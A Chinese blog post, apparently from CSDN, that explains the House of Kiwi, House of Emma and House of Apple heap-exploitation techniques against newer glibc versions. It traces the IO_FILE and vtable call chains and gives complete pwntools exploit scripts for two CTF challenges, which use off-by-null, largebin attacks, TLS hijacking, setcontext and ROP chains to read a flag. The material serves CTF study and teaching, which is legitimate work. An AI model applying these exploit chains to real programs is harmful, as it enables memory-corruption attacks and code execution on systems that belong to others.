• house系2


    这里我们续接上回,https://blog.csdn.net/njh18790816639/article/details/126235581
    接着分析高版本的Glibc利用手法,而高版本的利用手法,大都涉及到了io_file以及虚表这类函数指针等

    House_OF_Kiwi

    这篇文章house of kiwi介绍了这种手法,我们有了上篇的基础,那么这里我们便能快速入门,了解这种手法是如何进行攻击的;当然,我们依旧从调用链上来查看其深层原因;我们不仅要知其然,还要知其所以然;

    相信我们对这个函数已经很熟悉了,上回house of cat采用了__fxprintf函数-》_vfxprintf函数-》vfprintf函数-》伪造vtable表偏移进入_IO_wfile_seekoff函数-》_IO_switch_to_wget_mode函数,最终位于_IO_switch_to_wget_mode执行函数;
    而本次将不再利用__fxprintf函数,同时不会伪造io_file了;
    我们将利用fflush该函数;
    static void
    __malloc_assert (const char *assertion, const char *file, unsigned int line,
    		 const char *function)
    {
      (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
    		     __progname, __progname[0] ? ": " : "",
    		     file, line,
    		     function ? function : "", function ? ": " : "",
    		     assertion);
      fflush (stderr);
      abort ();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    我们跟踪函数,查看深层原因,fflush背后究竟是什么?

    #define fflush(s) _IO_fflush (s)
    
    int
    _IO_fflush (FILE *fp)
    {
      if (fp == NULL)
        return _IO_flush_all ();
      else
        {
          int result;
          CHECK_FILE (fp, EOF);
          _IO_acquire_lock (fp);
          result = _IO_SYNC (fp) ? EOF : 0;
          _IO_release_lock (fp);
          return result;
        }
    }
    libc_hidden_def (_IO_fflush)
    如下为汇编部分,此时rbp储存着0x7f1ac077e4c0 (_IO_file_jumps)该虚表,最终
       0x7f1ac0617d45 <fflush+117>    mov    rcx, rbp
       0x7f1ac0617d48 <fflush+120>    sub    rcx, rdx
       0x7f1ac0617d4b <fflush+123>    cmp    rax, rcx
       0x7f1ac0617d4e <fflush+126>    jbe    fflush+216                <fflush+216>
    
       0x7f1ac0617d50 <fflush+128>    mov    rdi, rbx
     ► 0x7f1ac0617d53 <fflush+131>    call   qword ptr [rbp + 0x60]        <setcontext+61>
            rdi: 0x7f1ac077d5e0 (_IO_2_1_stderr_) ◂— 0xfbad2887
            rsi: 0x7ffedb61cd20 ◂— 0x616d203a6e69616d ('main: ma')
            rdx: 0x7f1ac077d8c0 (_IO_helper_jumps) ◂— 0x0
            rcx: 0xc00
    
       0x7f1ac0617d56 <fflush+134>    xor    r8d, r8d
       0x7f1ac0617d59 <fflush+137>    test   eax, eax
       0x7f1ac0617d5b <fflush+139>    setne  r8b
       0x7f1ac0617d5f <fflush+143>    neg    r8d
       0x7f1ac0617d62 <fflush+146>    test   dword ptr [rbx], 0x8000
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    如果我们能够修改 _IO_SYNC 函数为我们想要执行的函数,并且设置偏移0x60为setcontext函数,那么就相当于利用了SROP,同时修改rdx: 0x7f1ac077d8c0 (_IO_helper_jumps)之中偏移0xa0以及0xa8为我们的rsp,以及返回地址ret_addr;
    此时我们便可以执行orw获取flag(沙盒保护),获取直接system获取权限;

    此时我们来看例题,NepCTF 2021赛事中NULL_FxCK,该题目非常精妙(变态);(GLIBC2.32)
    利用ida分析中,发现edit存在off by null
    在这里插入图片描述
    这里我们就要使用高版本中的GLIBC的off by null来造成堆块重叠,以此来泄露libc以及heap地址,然后利用largebin attack修改TLS指针指向已知的堆地址,此时劫持TLS,修改io_file_jumps以及io_helpre_jumps和top_chunk的size域;
    总结: off by null -> largebin_attack -> 劫持tls -> house of kiwi;
    整体流程较为麻烦;

    第一步,公式化0->3->5->2,此时我们可以想象的到,3号堆块一定残留下来了指针fd->ck0 bk->ck5,那么我们接下来需要做的事情便是修复0号堆块的bk指向3号堆块,5号堆块的fd指针指向3号堆块;此时方能绕过检查,造成一个大的重叠堆块

    add(0x418)#0 ck0
    add(0x1f8)#1 ck1
    add(0x428)#2 ck2
    add(0x438)#3 ck3
    add(0x208)#4 ck4
    add(0x428)#5 ck5
    add(0x208)#6 ck6
    delete(0)# unsortedbin: ck0->ck5->ck2
    delete(3)# ck3残留指针: fd->ck0 bk->ck5
    delete(5)
    delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
    #修改ck3的size域
    add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+部分(ck3)  largebin: ck0->ck5
    add(0x418)#2 部分(ck3)
    add(0x418)#3 ck0
    add(0x428)#5 ck5    bins为空
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    第二步,则是修改fwd->bk以及bck->fd来绕过检查,并进行unlink,从而泄露地址;

    #修复1
    delete(3)# ck0
    delete(2)# 部分(ck3)    unsortedbin: ck0->部分(ck3)
    add(0x418,b'a'*0x9)#2   ck0 修复fwd->bk
    add(0x418)#3 部分(ck3)
    #修复2
    delete(3)# 部分(ck3)
    delete(5)# ck5          unsortebin: 部分(ck3)->ck5
    add(0x9f8)#3 ck7 largebin:部分(ck3)->ck5     此时ck5->fd指向ck3(偏移)
    add(0x428,b'b')#5 ck5 修复bck->fd
    edit(6,b'c'*0x200+p64(0xc90)+b'\x00')# off by bull
    add(0x418)#7  部分(ck3)
    # unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
    add(0x208)#8 ck8 防止合并
    delete(3)# ck7 unlink
    add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
    add(0x1600)#9 ck9   largebin: 0x1251 ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
    libc_base = show(4)-1680-0x10-libc.sym['__malloc_hook']
    heap_base = show(5)-0x2b0
    io_file_jumps   = libc_base+0x1E54C0
    io_helper_jumps = libc_base+0x1E48C0
    setcontext_addr = libc_base+libc.sym['setcontext']+61
    open_addr       = libc_base+libc.sym['open']
    read_addr       = libc_base+libc.sym['read']
    write_addr      = libc_base+libc.sym['write']
    pop_rdi_ret     = libc_base+0x000000000002858f
    pop_rsi_ret     = libc_base+0x000000000002ac3f
    pop_rdx_r12_ret = libc_base+0x0000000000114161
    ret_addr        = libc_base+0x0000000000026699
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    第三步,该步骤比较简单,写入ROP链即可;

    # rop_chain
    rop_addr = heap_base+0x8e0
    flag_addr = heap_base+0x8e0+0x100
    rop_chain = flat([
        pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
        pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
        pop_rdi_ret,1,write_addr
    ]).ljust(0x100,b'\x00')+b'flag\x00'
    
    tls = libc_base+0x1EB578
    add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
    delete(0)# ck2+部分(ck3) 0x451
    add(0x440,rop_chain)#0 ck2+部分(ck3)  写入ROP链
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    第四步,构造largebin_attack的堆风水,修改tls的指针指向已知堆地址;

    # largebin_attack
    add(0x418)#11   ck11
    add(0x208)#12   ck12
    delete(5)# ck5 0x431
    delete(4)# ck4 0x1251 ck5位于ck4内部
    add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
    delete(11)# ck11 unsortedbin[0x418]  largebin[0x431]
    add(0x500)#5 ck13   largebin_attack:tls->ck11
    add(0x410)#11 ck11  unlink_chunk tls->ck5
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    第五步,申请tls指针指向的堆块,并往其中写入tcache指向io_file_jumps、io_helper_jumps+0xa0、top_chunk-0x10,此时我们申请小堆块,修改这些内容,完成最终的利用;

    # 劫持TLS
    delete(4)#  0x1240
    add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
    tls_struct = b'\x01'*0x70
    tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
    tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0)
    add(0x420,tls_struct)#4 ck5 tls
    add(0x100,p64(setcontext_addr))#SYNC
    add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
    add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域  触发asser
    success(hex(tls))
    success("heap_base -> "+hex(heap_base))
    success("libc_base -> "+hex(libc_base))
    pwndbg()
    r.sendlineafter(">> ",'1')
    r.sendlineafter("(: Size: ",str(0x1000))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    最终exp:

    from pwn import *
    context(log_level='debug',os='linux',arch='amd64')
    
    binary = './main'
    r = process(binary)
    elf = ELF(binary)
    libc = elf.libc
    
    def add(size=0x108,payload=b'/bin/sh\x00'):#32
        r.sendlineafter(">> ",'1')
        r.sendlineafter("(: Size: ",str(size))
        r.sendafter("(: Content: ",payload)
    
    def edit(index,payload):
        r.sendlineafter(">> ",'2')
        r.sendlineafter("Index: ",str(index))
        r.sendafter("Content: ",payload)
    
    def delete(index):
        r.sendlineafter(">> ",'3')
        r.sendlineafter("Index: ",str(index))
    
    def show(index):
        r.sendlineafter(">> ",'4')
        r.sendlineafter("Index: ",str(index))
        return u64(r.recv(6).ljust(8,b'\x00'))
    def pwndbg():
        gdb.attach(r)
        pause()
    
    add(0x418)#0 ck0
    add(0x1f8)#1 ck1
    add(0x428)#2 ck2
    add(0x438)#3 ck3
    add(0x208)#4 ck4
    add(0x428)#5 ck5
    add(0x208)#6 ck6
    delete(0)# unsortedbin: ck0->ck5->ck2
    delete(3)# ck3残留指针: fd->ck0 bk->ck5
    delete(5)
    delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
    #修改ck3的size域
    add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+部分(ck3)  largebin: ck0->ck5
    add(0x418)#2 部分(ck3)
    add(0x418)#3 ck0
    add(0x428)#5 ck5    bins为空
    #修复1
    delete(3)# ck0
    delete(2)# 部分(ck3)    unsortedbin: ck0->部分(ck3)
    add(0x418,b'a'*0x9)#2   ck0 修复fwd->bk
    add(0x418)#3 部分(ck3)
    #修复2
    delete(3)# 部分(ck3)
    delete(5)# ck5          unsortebin: 部分(ck3)->ck5
    add(0x9f8)#3 ck7 largebin:部分(ck3)->ck5     此时ck5->fd指向ck3(偏移)
    add(0x428,b'b')#5 ck5 修复bck->fd
    edit(6,b'c'*0x200+p64(0xc90)+b'\x00')# off by bull
    add(0x418)#7  部分(ck3)
    # unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
    add(0x208)#8 ck8 防止合并
    delete(3)# ck7 unlink
    add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
    add(0x1600)#9 ck9   largebin: 0x1251 ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
    libc_base = show(4)-1680-0x10-libc.sym['__malloc_hook']
    heap_base = show(5)-0x2b0
    io_file_jumps   = libc_base+0x1E54C0
    io_helper_jumps = libc_base+0x1E48C0
    setcontext_addr = libc_base+libc.sym['setcontext']+61
    open_addr       = libc_base+libc.sym['open']
    read_addr       = libc_base+libc.sym['read']
    write_addr      = libc_base+libc.sym['write']
    pop_rdi_ret     = libc_base+0x000000000002858f
    pop_rsi_ret     = libc_base+0x000000000002ac3f
    pop_rdx_r12_ret = libc_base+0x0000000000114161
    ret_addr        = libc_base+0x0000000000026699
    
    # rop_chain
    rop_addr = heap_base+0x8e0
    flag_addr = heap_base+0x8e0+0x100
    rop_chain = flat([
        pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
        pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
        pop_rdi_ret,1,write_addr
    ]).ljust(0x100,b'\x00')+b'flag\x00'
    
    tls = libc_base+0x1EB578
    add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
    delete(0)# ck2+部分(ck3) 0x451
    add(0x440,rop_chain)#0 ck2+部分(ck3)  写入ROP链
    # largebin_attack
    add(0x418)#11   ck11
    add(0x208)#12   ck12
    delete(5)# ck5 0x431
    delete(4)# ck4 0x1251 ck5位于ck4内部
    add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
    delete(11)# ck11 unsortedbin[0x418]  largebin[0x431]
    add(0x500)#5 ck13   largebin_attack:tls->ck11
    add(0x410)#11 ck11  unlink_chunk tls->ck5
    # 劫持TLS
    delete(4)#  0x1240
    add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
    tls_struct = b'\x01'*0x70
    tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
    tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0)
    add(0x420,tls_struct)#4 ck5 tls
    add(0x100,p64(setcontext_addr))#SYNC
    add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
    add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域  触发asser
    success(hex(tls))
    success("heap_base -> "+hex(heap_base))
    success("libc_base -> "+hex(libc_base))
    pwndbg()
    r.sendlineafter(">> ",'1')
    r.sendlineafter("(: Size: ",str(0x1000))
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116

    参考链接:
    pwn题null_fzck学习house of wiki
    House of Kiwi


    House _OF _Emma

    原链接,作者给出了一种位于高版本中的利用手法,这里我们接着分析,该手法调用了那些函数?
    但是题目附件并没有?

    这里我们先来看一些极其相似的函数,分别是_IO_cookie_read、_IO_cookie_write 、_IO_cookie_seek 、_IO_cookie_close 这四个函数:

    static ssize_t
    _IO_cookie_read (FILE *fp, void *buf, ssize_t size)
    {
      struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
      cookie_read_function_t *read_cb = cfile->__io_functions.read;
    #ifdef PTR_DEMANGLE
      PTR_DEMANGLE (read_cb);
    #endif
    
      if (read_cb == NULL)
        return -1;
    
      return read_cb (cfile->__cookie, buf, size);
    }
    //这里我们就看_IO_cookie_read该函数即可,其他函数与该函数相似,利用方式相同,就不重复放上去了;...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    但是这里存在着一个加密,该加密与tcache的fd指针加密方式相同:

    #  define PTR_DEMANGLE(dst, src, guard, tmp)	\
      PTR_MANGLE (dst, src, guard, tmp)
    
    #  define PTR_MANGLE(reg)	xor __pointer_chk_guard_local(%rip), reg;    \
    				rol $2*LP_SIZE+1, reg
    
    • 1
    • 2
    • 3
    • 4
    • 5

    如果我们能够控制这个__pointer_chk_guard_local内容为我们已知的数据,那么加密在我们面前形同虚设;

    这个则是第七届“湖湘杯” House _OF _Emma的exp,相对比较简单,通过两次largebin_attack修改了stderr指针以及__pointer_chk_guard_local指针内容,从而位于_IO_cookie_write函数之中劫持程序流,利用setcontext函数完成SROP,进而orw泄露flag;

    from pwncli import *
    context(log_level='debug',os='linux',arch='amd64',endian='little')
    
    binary = './pwn'
    r = process(binary)
    elf = ELF(binary)
    libc = elf.libc
    
    payload = b''
    def add(idx,size): # 0x10
        global payload
        payload += b'\x01'+p8(idx)
        payload += p16(size)
    
    def free(idx):
        global payload
        payload += b'\x02'+p8(idx)
    
    def show(idx):
        global payload
        payload += b'\x03'+p8(idx)
    
    def edit(idx,pload:bytes):
        global payload
        payload += b'\x04'+p8(idx)
        payload += p16(len(pload))
        payload += pload
    
    def send():
        global payload
        r.sendafter("Pls input the opcode\n",payload+b'\x05')
        payload = b''
    
    
    # leak
    add(0,0x480)# 防止合并
    add(0,0x480)# UAF leak地址
    free(0)
    add(1,0x480)
    add(2,0x480)
    add(3,0x490)
    add(4,0x490)
    add(5,0x500)
    add(6,0x500)
    free(6)
    add(7,0x410)
    free(1)
    free(3)
    free(5)# unsoredbin: ck1->ck3->ck5
    add(5,0x500)# largebin: ck1->ck3
    show(1)
    show(3)
    send()
    libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1F30D0
    r.recvuntil("Show Done\n")
    heap_base = u64(r.recv(6).ljust(8,b'\x00'))-0x2730
    io_stderr   = libc_base+libc.sym['stderr']
    pointer_chk = libc_base-0x2890
    setcontext  = libc_base+libc.sym['setcontext']+61
    gadget_addr = libc_base+0x146020  
    '''
       0x00007f9398468020 <+528>:   mov    rdx,QWORD PTR [rdi+0x8]
       0x00007f9398468024 <+532>:   mov    QWORD PTR [rsp],rax
       0x00007f9398468028 <+536>:   call   QWORD PTR [rdx+0x20]
    '''
    rcx_ret     = libc_base+0x000000000002d446
    pop_rax_ret = libc_base+0x00000000000446c0
    pop_rdi_ret = libc_base+0x000000000002daa2
    pop_rsi_ret = libc_base+0x0000000000037c0a
    pop_rdx_r12_ret = libc_base+0x00000000001066e1
    syscall     = libc_base+0x883b6
    
    add(1,0x480)# largebin: ck3
    free(1)
    edit(3,p64(libc_base+0x1F30D0)*2+p64(0)+p64(io_stderr-0x20))
    send()# largebin_attack     stderr:ch3_addr
    
    add(1,0x480)# largebin: ck3
    free(1)
    edit(3,p64(libc_base+0x1F30D0)*2+p64(0)+p64(pointer_chk-0x20))
    send()# largebin_attack     __pointer_chk_guard_local:heap_base+0x2730
    
    io_file = IO_FILE_plus_struct()
    io_file._mode = 0
    io_file._lock = heap_base+0x100
    io_file.vtable = libc_base+libc.sym['_IO_cookie_jumps']+0x40
    rop = ([
        pop_rdi_ret,heap_base+0x3050+0x110,pop_rsi_ret,0,pop_rdx_r12_ret,0,0,pop_rax_ret,2,syscall, # open("flag")
        pop_rdi_ret,3,pop_rsi_ret,heap_base,pop_rdx_r12_ret,0x50,0,pop_rax_ret,0,syscall, # read(3,buf,0x50)
        pop_rdi_ret,1,pop_rax_ret,1,syscall # write(1,buf,0x50)
    ])
    exp = flat({
        0: bytes(io_file)[0x10:] ,
        0xd0: heap_base+0x3050+0xe0 ,
        0xd8: heap_base+0x3050+0xe8 ,
        0xe0: (gadget_addr^(heap_base+0x3050))<<0x11 ,
        0xf8: setcontext ,
        0x100: b'flag\x00\x00\x00\x00' ,
        0x178: heap_base+0x3050+0x1a0 , # rsp
        0x180: rcx_ret , # rip
        0x190: rop
    })
    add(1,0x480)
    edit(3,exp)
    send()
    
    edit(6,b'a'*0x418+p64(0x22))
    add(8,0x500)
    success(hex(heap_base))
    success(hex(libc_base))
    gdb.attach(r,'b _IO_cookie_write')
    pause()
    send()
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115

    House of apple

    我更愿称之为目前高版本集大成手法,该手法相当于集合了前面house of ???的大成者,仅仅需要利用一次largebin_attack来完成一次任意地址写即可,先给出步骤,很简单,修改 IO_list_all_ 为堆地址(可控地址),然后我们布置一下 io_file 的布局,并且利用 _chain 指针指向下一个伪造的 io_file ,如果说第一个 io_file 能执行一个函数(可控的),那么第二个 io_file 就能执行第二个函数(可控的);

    这里相当于可以结合以前的一个house来结合利用,但是条件却没有那么多了;

    这里就采用roderick师傅题目附件oneday;刚开始比较简单构造出堆块重叠的的形式;
    利用一次写来完成对多个io_file的伪造,以及对largebin的bk_nextsize的修改,然后利用largebin_attack修改_IO_list_all指向堆地址(可控地址),并通过exit函数中的_IO_cleanup函数完成对几个伪造的io_file利用;
    这里采用了原文件exp进行调试分享,故不分享exp,进而分享调试过程,以及调用链;

    1. 该方式是利用largebin_attack攻击_IO_list_all指向堆地址(可控地址),伪造出三个fake_io_file结构体;第一个伪造的结构体vtable为_IO_wstrn_jumps,调用函数为_IO_wstrn_overflow;第二个伪造的结构体vtable指向_IO_cookie_jumps,调用函数为_IO_cookie_read;

    在这里插入图片描述
    这个时候可以发现我们在进入_IO_wstrn_overflow函数之中,发现__pointer_chk_guard_local还是随机数(未知数),这里我们通过伪造fp->_wide_data指针指向我们的__pointer_chk_guard_local,那么在这个函数结束后,则__pointer_chk_guard_local将会该改为堆地址(已知)

    在这里插入图片描述
    此时第一个伪造的结构体经历了一个可控的函数,修改了__pointer_chk_guard_local数值为已知值;那么第二个伪造的结构体进入的函数为_IO_cookie_read;
    在这里插入图片描述
    这里我们可以看出解密过程,以及jmp rax;
    在这里插入图片描述
    在这里插入图片描述
    之后我们再通过一些gadget,进行栈转移即可,此时栈也被劫持到堆地址上了;
    在这里插入图片描述
    最终变成了简单的ROP;相当于利用了两次可控函数,完成了劫持栈,并ROP执行我们想要的内容;

    1. 利用方式二,此时我们需要伪造三个fake_io_file,通过三个函数(可控的),来完成劫持程序流;

    在这里插入图片描述
    首先通过伪造第一个fake_io_file,执行_IO_wstrn_overflow函数,伪造fp->_wide_data指针指向tls指针,修改tls指针为堆地址(可控地址)

    在这里插入图片描述
    此时通过第二个伪造的fake_io_file来执行_IO_str_overflow函数,通过连续的malloc、memcpy、free函数(此时申请的malloc为tcache大小,提前布置好堆块上的位置,可以申请到_IO_str_jumps,并修改内容为gadget),进而修改掉_IO_str_jumps(可写)内容指向gadget,从而劫持程序流;
    而第三个伪造的fake_io_file用来执行已经被修改过的_IO_str_jumps内部函数,进而劫持到了程序流;

    1. 该利用方式就比较简单,仅仅需要伪造一个fake_io_file即可,主要需要伪造_wide_data该结构体,因为我们将会使用到该结构体之中的vtable指针劫持程序流;
    wint_t
    _IO_wfile_overflow (FILE *f, wint_t wch)
    {
      if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
        {
          f->_flags |= _IO_ERR_SEEN;
          __set_errno (EBADF);
          return WEOF;
        }
      /* If currently reading or no buffer allocated. */
      if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
        {
          /* Allocate a buffer if needed. */
          if (f->_wide_data->_IO_write_base == 0)
    	{
    	  _IO_wdoallocbuf (f);//最终我们需要执行该函数,所有需要绕过路上的一些检查
    	  _IO_free_wbackup_area (f);
    	  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
    		     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);...
    	}
          else
    	{...
    	}
      return wch;
    }
    libc_hidden_def (_IO_wfile_overflow)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    而_IO_wdoallocbuf函数的具体实现也很简单,如下所示,这里使用到了_wide_data结构体的vtable,但是这个vtable却没有合法性检测;故我们可以使其指向任何位置

    void
    _IO_wdoallocbuf (FILE *fp)
    {
      if (fp->_wide_data->_IO_buf_base)
        return;
      if (!(fp->_flags & _IO_UNBUFFERED))
        if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)//我们需要执行到_IO_WDOALLOCATE()函数即可
          return;
      _IO_wsetb (fp, fp->_wide_data->_shortbuf,
    		     fp->_wide_data->_shortbuf + 1, 0);
    }
    libc_hidden_def (_IO_wdoallocbuf)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    这里可以看出与house of cat太过相似了,或者说hosue of cat便是从此处引出的;进入的是<_IO_wfile_overflow>函数,跟踪看看!
    在这里插入图片描述
    跟踪到<_IO_wdoallocbuf>函数,此时我们可以发现rdi即使我们传入的"hack!"字符串,其实就是fp->flags
    在这里插入图片描述
    最终执行_wide_data结构体的vtable偏移0x68,此时我们修改此处为puts,则将执行puts函数功能,相当于我们劫持到了程序流;
    在这里插入图片描述

  • 相关阅读:
    Linux日志管理
    LeetCode--172. 阶乘后的零(C++描述)
    Typescript语言基础
    在Docker环境下部署GeneFace++项目
    ImageViewer技术实现细节
    Python+Appium实现自动化测试
    Redisson 框架中的分布式锁
    (论文阅读46-50)图像描述2
    【FastDFS】一文学会一个分布式文件系统!
    降钙素(Cys(Acm)²·⁷)-α-CGRP (human)、125448-83-1
  • 原文地址:https://blog.csdn.net/njh18790816639/article/details/126243579